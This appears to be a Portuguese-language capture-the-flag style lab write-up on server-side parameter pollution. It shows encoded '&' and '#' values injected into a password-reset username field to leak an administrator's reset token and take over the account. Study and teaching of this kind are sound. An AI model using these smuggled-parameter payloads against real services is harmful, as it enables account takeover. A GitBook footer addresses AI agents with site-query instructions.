> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/api-testing/server-side-parameter-pollution-in-a-query-string.md).

# Poluição de parâmetros no lado do servidor em uma string de consulta

### Explorando a poluição de parâmetros no lado do servidor em uma string de consulta

**Objetivo do laboratório**/ Faça login como administrador e, em seguida, exclua o usuário **carlos**.

#### Funcionalidade Esqueci minha senha

Há uma funcionalidade de redefinição de senha disponível.

<figure><img src="/files/bc67d92298e2eb572fd9a0d6c811d71262e553ef" alt=""><figcaption></figcaption></figure>

A solicitação enviada ao servidor é a seguinte:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

A resposta do servidor é:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/e379443da73b620f5bf7954171a131fdddd30c1b" alt=""><figcaption></figcaption></figure>

#### Tentativas de poluição de parâmetros

Tente adicionar um novo parâmetro por meio de `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

ou codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

O servidor responde:

```json
{
    "error": "Parâmetro não suportado."
}
```

#### Usando as `#` Caractere

Com `#`, o comportamento muda:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

ou codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Resposta do servidor:

```json
{
    "error": "Campo não especificado."
}
```

Isso indica a existência de um **campo privado** parâmetro esperado no lado do servidor.

#### Descoberta do `campo privado` Parâmetro

Envie a seguinte solicitação:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Em seguida, combinamos `campo privado` por `#` para injetar valores adicionais:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

ou codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/b05892b9286b18675a3dc81010bdc8763ab94c22" alt=""><figcaption></figcaption></figure>

Ao testar diferentes **nomes de variáveis no lado do servidor**, você obtém uma resposta válida com o código **200**, revelando os campos **email** e **nome de usuário**.

<figure><img src="/files/973569ce2b5dba6fe0d8094ae14069705e9bdcc1" alt=""><figcaption></figcaption></figure>

#### Análise do arquivo JavaScript forgot-password.js

Um arquivo JavaScript acessível revela a seguinte lógica:

* Os dados do formulário são codificados manualmente.
* A consulta é enviada via `fetch` em POST.
* Se a resposta contiver a `resultado` propriedade, a mensagem "Por favor, verifique seu e-mail" é exibida.
* Um **token de redefinição** o parâmetro é recuperado da string de consulta:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Nome de usuário inválido.";
                }
                else
                {
                    forgotPasswordError.textContent = `Por favor, verifique seu e-mail: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Nome de usuário inválido.";
            });
    } catch (error) {
        console.error("Erro inesperado:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Isso confirma a existência de um token de redefinição utilizável **token de redefinição** parâmetro.

#### Operando o `reset_token` Parâmetro

Esse parâmetro é então injetado por meio da poluição de parâmetros no lado do servidor:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

O servidor responde:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/0f68453da2a2d749aa54b1007742e5ec6b839b0b" alt=""><figcaption></figcaption></figure>

#### Redefinir a senha do administrador

Usando o token obtido, você acessa a seguinte URL:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Isso permite redefinir a senha do administrador, fazer login com essa conta e, em seguida, excluir o usuário **carlos**, validando assim o laboratório.

<figure><img src="/files/cf832a5b471bbd1617f8a75f4f7a622b5794ee26" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/api-testing/server-side-parameter-pollution-in-a-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
